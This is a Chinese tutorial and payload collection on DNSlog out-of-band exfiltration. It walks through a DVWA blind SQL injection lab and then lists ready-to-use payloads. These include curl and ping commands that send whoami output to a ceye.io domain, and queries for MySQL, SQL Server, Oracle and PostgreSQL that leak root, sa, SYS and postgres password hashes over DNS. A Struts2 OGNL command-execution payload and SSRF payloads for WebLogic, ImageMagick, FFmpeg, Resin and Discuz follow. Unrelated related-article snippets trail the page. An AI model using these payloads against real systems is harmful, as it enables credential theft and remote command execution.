mysql dnslog_dnslog小技巧

一、dnslog利用场景

主要针对无回显的情况。

Sql-Blind

RCE

SSRF

RFI(Remote File Inclusion)

二、原理

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

d5d8d3dbbae48f4dec0df2b5b68f9e1f.png

三、案例展示

1.sql盲注

普通的注入

输入 1' and '1'='1,查询成功,1' and '1'='2查询失败,结果为空

bd6ffc57a1316d8fd5d2efba4bab39c4.png

8423877d02153c5c4d3a96d501a66322.png

输入 1' or '1'='1 查询成功

d08e28f7e94753ad59470898bfc92d27.png

综上,存在注入,字符型。

使用 order by 猜解出来字段为2。

c066cb2bb88ebc387f7223d5acf4029f.png

64ccd36cdba0001ef816e499eddba61b.png

显位,输入 1' union select 1,2 #

6d78a79a23f9bbc5bec6f2afac1d02b5.png

输入 1' union select user(),database() #获取当前用户及数据库

99de7dfb0826378dbb58177dd1119e14.png

就不继续往下了,但盲注是不显位的,除了我们常规的猜数据库长度,二分法猜每个字母 acsii码 值外,就能用到dnslog了。

dnslog用于盲注

判断注入

输入 1, 2, 3, 4, 5 ,显示存在;

输入 1' and '1'='1 ,显示存在;

输入 1' and '1'='2 ,显示不存在。

ad2d3703d9a82d76ba2f7e85171ab11d.png

1b97d43fe543b31f59a18b81ea82ba3e.png

存在注入,字符型。

这里就不用判断字段了,判断字段是为了后面显位。

这里直接使用 dnslog 平台的二级域名 0ox095.ceye.io。

输入如下查询数据库,然后到dnslog平台查看:

# dns查询有长度限制,必要的时候需要对查询结果做字符串切割。

http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/

?id=1' and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+

&Submit=Submit#

a195c3aac20e5d7109a6656f30d197f4.png

其中 and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+

解释如下:

- and 连接符,测试用 or 也可以

- if(x,1,0) 如果x为真输出1,为假输出0,在此不重要,主要是将 x带入数据库中,然后得出的结果进行dns解析成 dvwa.0ox095.ceye.io

- select 查询

- load_file() 读取文件内容

- concat 拼接字段,这里拼接成了 \\dvwa.0ox095.ceye.io\sql_test

- \\\\ widnows中用共享文件的时候就会用到这种网络地址的形式,而且转义问题所以前面4个\变成了2个,后面2个变成了1个,最终结果见上一行。

- select database() 查看当前数据库,查询的任何内容在此替换(如查表、字段、数据等)。

- 最后 --+ 为mysql注释,-- 后需要一个空格,用+代替。

完整流程:

# 爆数据库(mysql5.0以上版本才有information_schema数据库)

select schema_name from information_schema.schemata limit 0,1

select schema_name from information_schema.schemata limit 1,1

# 爆表(后面为数据库名或者其十六进制)

select table_name from information_schema.tables where table_schema='dvwa' limit 0,1

select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1

# 爆字段

select column_name from information_schema.columns where table_name='users' limit 0,1

# 爆数据

select user from users limit 0,1

select password from users limit 0,1

得到 admin / 5f4dcc3b5aa765d61d8327deb882cf99

2.命令执行

curl http://0ox095.ceye.io/`whoami`

f4c6a8cc069f1bc0e088c359364f6caa.png

win的常用变量

变量

类型

描述

%ALLUSERSPROFILE%

本地

返回“所有用户”配置文件的位置。

%APPDATA%

本地

返回默认情况下应用程序存储数据的位置。

%CD%

本地

返回当前目录字符串。

%CMDCMDLINE%

本地

返回用来启动当前的 Cmd.exe 的准确命令行。

%CMDEXTVERSION%

系统

返回当前的“命令处理程序扩展”的版本号。

%COMPUTERNAME%

系统

返回计算机的名称。

%COMSPEC%

系统

返回命令行解释器可执行程序的准确路径。

%DATE%

系统

返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。

%ERRORLEVEL%

系统

返回上一条命令的错误代码。通常用非零值表示错误。

%HOMEDRIVE%

系统

返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%HOMEPATH%

系统

返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%HOMESHARE%

系统

返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%LOGONSERVER%

本地

返回验证当前登录会话的域控制器的名称。

%NUMBER_OF_PROCESSORS%

系统

指定安装在计算机上的处理器的数目。

%OS%

系统

返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。

%PATH%

系统

指定可执行文件的搜索路径。

%PATHEXT%

系统

返回操作系统认为可执行的文件扩展名的列表。

%PROCESSOR_ARCHITECTURE%

系统

返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。

%PROCESSOR_IDENTFIER%

系统

返回处理器说明。

%PROCESSOR_LEVEL%

系统

返回计算机上安装的处理器的型号。

%PROCESSOR_REVISION%

系统

返回处理器的版本号。

%PROMPT%

本地

返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。

%RANDOM%

系统

返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。

%SYSTEMDRIVE%

系统

返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。

%SYSTEMROOT%

系统

返回 Windows server operating system 根目录的位置。

%TEMP%和%TMP%

系统和用户

返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。

%TIME%

系统

返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。

%USERDOMAIN%

本地

返回包含用户帐户的域的名称。

%USERNAME%

本地

返回当前登录的用户的名称。

%USERPROFILE%

本地

返回当前用户的配置文件的位置。

%WINDIR%

系统

返回操作系统目录的位置。

其他payload

0x00 Command Execution

1.*nix:

curl http://b182oj.ceye.io/`whoami`

ping `whoami`.b182oj.ceye.io

windows

ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

1.SQL Server

DECLARE @host varchar(1024);

SELECT @host=(SELECT TOP 1

master.dbo.fn_varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name='sa')

+'.b182oj.ceye.io';

EXEC('master..xp_dirtree

"\\'+@host+'\foobar$"');

2.Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');

SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;

SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;

SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;

3.MySQL

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));

4.PostgreSQL

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function()

RETURNS VOID AS $

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT passwd

FROM pg_shadow WHERE usename='postgres');

exec_cmd := E'COPY table_output(content)

FROM E\'\\\\\\\\'||query_result||E'.psql.b182oj.ceye.io\\\\foobar.txt\'';

EXECUTE exec_cmd;

END;

$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function();

0x02 XML Entity Injection

%remote;]>

0x03 Others

1.Struts2

xx.action?redirect:http://b182oj.ceye.io/%25{3*4}

xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

2 FFMpeg

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

concat:http://b182oj.ceye.io

#EXT-X-ENDLIST

3.Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

4.ImageMagick

push graphic-context

viewbox 0 0 640 480

fill 'url(http://b182oj.ceye.io)'

pop graphic-context

5.Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf

6.Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/560559.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2019哈佛计算机专业录取,2019哈佛大学早申请录取数据公布 录取率再降1个点仅为13.4%...

出结果了,出结果了,作为美国在全球范围内最负盛名的哈佛大学,与近日公布2019美国本科申请提前录取的相关数据。今年哈佛大学本科学院向6,968位在2023届提前录取轮次申请人中的935位发出了录取通知,申请录取率约为13.4%&#xff0c…

mysql中pi是什么意思_MySQL 基础知识与常用命令

MySQLMySQL是一种开放源代码的关系型数据库管理系统(RDBMS),MySQL数据库系统使用最常用的数据库管理语言--结构化查询语言(SQL)进行数据库管理。MySQL在过去由于性能高、成本低、可靠性好,已经成为最流行的开源数据库,因此被广泛地应用在Inte…

科幻计算机类小说,短篇科幻小说推荐 | 黄金时代的五部科幻杰作

编注:本文是少数派读书月「我读过的好书」征文活动的入围文章。本文仅代表作者本人观点,少数派对标题和排版略作调整。想了解如何参与本次读书征文,赢取各种丰厚奖品,你可以 点此查看 活动规则和奖品清单。文章包含五个故事的情节…

计算机中丢失msc,mscvr120.dll32位/64位版_修复计算机中丢失msvcr120.dll

mscvr120.dll32位/64位版_修复计算机中丢失msvcr120.dllmscvr120.dll是系统的非常重要的一个文件,相信很多的人都是遇到文件丢失的情况,这个时候就需要你在下载一个dll文件使用了!现在就为大家提供最新的dll文件下载,需要的可以看…

mysql解压缩版配置_MySQL 5.6 for Windows 解压缩版配置安装

1、MySQL安装文件分为两种,一种是msi格式的,一种是zip格式的。如果是msi格式的可以直接点击安装,按照它给出的安装提示进行安装(相信大家的英文可以看懂英文提示),一般MySQL将会安装在C:\Program Files\MySQL\MySQL Server 5.6 该…

计算机二级考试开考多久能出来,【计算机二级】明天就要开考了,你们准备好了吗?...

原标题:【计算机二级】明天就要开考了,你们准备好了吗?计算机二级考试马上要来了现在距离考试只有不到几个小时的时间了不知道各位同学准备的怎么样了呢?人有多大胆,复习拖多晚但这可不是什么好习惯奔赴“战场”之前先…

办公室中有一台计算机连接打印机,办公室就一个打印机,怎么让多个电脑一起用...

中小型企业的办公室一般只配一台打印机,每次打印东西都要把文件拷在U盘再转到连接打印机的那台电脑,很麻烦。那么怎么才能实现打印机多台电脑共享呢?以下把连接打印机的电脑成为“主电脑”,把需要的共享的电脑叫“客电脑”。1.设置…

php修改mysql数据找不到_php 如何修改mysql数据

PHP MYSQL 修改删除数据创建userinfo_update.php,用于查询用户信息,先显示信息,在修改:先通过GET获取用户编号查询用户信息:$sql "select * from user_info where user_id".$_GET[userId]."";$re…

人工智能训练机器人的服务器,人工智能系统教会机器人如何在荒野中行走

对救援人员和户外运动爱好者来说,穿越荒野小径是一项有用的技能,但对机器人来说却很难。这并不是说这些机械动物没有能力在爬上山坡的同时避开倒下的树枝——最先进的机器学习算法可以做到这一点。问题在于它们缺乏通用性:人工智能驱动的机器…

世界手机号码格式_脑炎康复之旅——世界脑炎日病友征文

○○脑炎康复之旅世界脑炎日病友征文2月22日是世界脑炎日(World Encephalitis Day)。2014年发起的世界脑炎日旨在致敬和鼓励全世界经历过脑炎的患者和脑炎医疗工作者。几年来,全球已有1.87亿人次参与世界脑炎日活动。2021年的世界脑炎日即将到来,今年世界…

树莓派和微信和服务器,用树莓派搭建微信公共平台

1、首先你需要一个公网ip, 需要做好映射, 把80端口映射到你的树莓派ip。2、打开你的树莓派终端, 创建文件夹“templates ” 和文件“weixind.py”。3、文件“weixind.py”中写入以下代码。安装“sudo apt-get install python-lxml”。5、申请…

mysql数据异常增长_mysql表到一定数据量后会异常的增长

如题InnoDB的table,里面的字段非常简单,如图中的类型才100多W的数据量,数据是慢慢积累起来的,到了最近发现涨到12G后,会每天成倍的增长,最高到达过50G,而数据量还是那些,longtext的字…

舰r4月28服务器维护,崩坏3 11月28日版本更新维护通知

亲爱的舰长:为了给舰长更好的游戏体验,休伯利安号将在11月28日进行版本更新维护,维护完成后战舰将更新为3.6版本——「绯夜霞隐」。维护时间安卓国服、iOS服和各渠道服:11月28日07:00~12:00全平台服(桌面服):11月28日0…

vv7无法启动显示发动机故障_点火系统故障引起发动机不能启动的排除方法

点火系统故障引起发动机不能启动的排除方法a 外观检查首先察看点火线圈和b 中央高压线试火拔出分电器上的中央高压线,插入一个放电器(或备用火花塞)并将放电器(火花塞)搭铁,然后接通点火开关,在转动发动机时看放电器(火花塞)(汽車维修网 Http…

织梦重置mysql数据库密码忘记_织梦cms管理员密码忘记了怎么重置找回?

织梦cms是使用比较广泛的一种开源cms程序,使用织梦的朋友基本上都遇到过忘记后台登录密码这个问题,重置登录密码的方法也有很多,今天木子网络教大家的方法是通过mysql数据库来重置修改密码。下面就为大家分享详细的织梦cms管理员密码重置教程…

Lingo计算最优解

建模最后就是知道结果套过程。。 文章目录线性规划二次规划集合段线性规划 model: title 求解线性规划; max2*x13*x2; 2*x1x2<8; 4*x13*x2<15; end结果&#xff1a; Global optimal solution found.Objective value: 15.00000Infeasibilit…

c 通过jni调用java_使用c通过jni调用java

编译环境:fedora16gcc (GCC) 4.6.3 20120306 (Red Hat 4.6.3-2)java version "1.6.0_31"Java(TM) SE Runtime Environment (build 1.6.0_31-b04)Java HotSpot(TM) Server VM (build 20.6-b01, mixed mode)准备工作:首先需要安装jdk和gcc(或者其他c编译器也可以)并配置…

C语言文件与数组之间输入输出操作

C语言文件与数组之间输入输出操作 文件存到数组里面&#xff1a; #include<iostream> #include<fstream> #include<string> #include<cstdio> #include<cstdlib> using namespace std; int main() { fstream fs("test.txt");istream…

java调用scilab_Java调用Scilab-编译运行Javasci v2

1 Scilab简要介绍Scilab 是由法国国家信息、自动化研究院(INRIA)的科学家们开发的“开放源码”软件。Scilab是开源的软件&#xff0c;用户不仅可以在Scilab的许可证条件下自由使用该软件&#xff0c;还可以根据自己需要修改源代码&#xff0c;使之更加符合自身需要。与Matlab类…

java8 foreach 异常_错误处理 – 在java 8流foreach中抛出异常

我正在使用java 8流,我不能在流的foreach中抛出异常.stream.forEach(m -> {try {if (isInitial) {isInitial false;String outputName new SimpleDateFormat(Constants.HMDBConstants.HMDB_SDF_FILE_NAME).format(new Date());if (location.endsWith(Constants.LOCATION_S…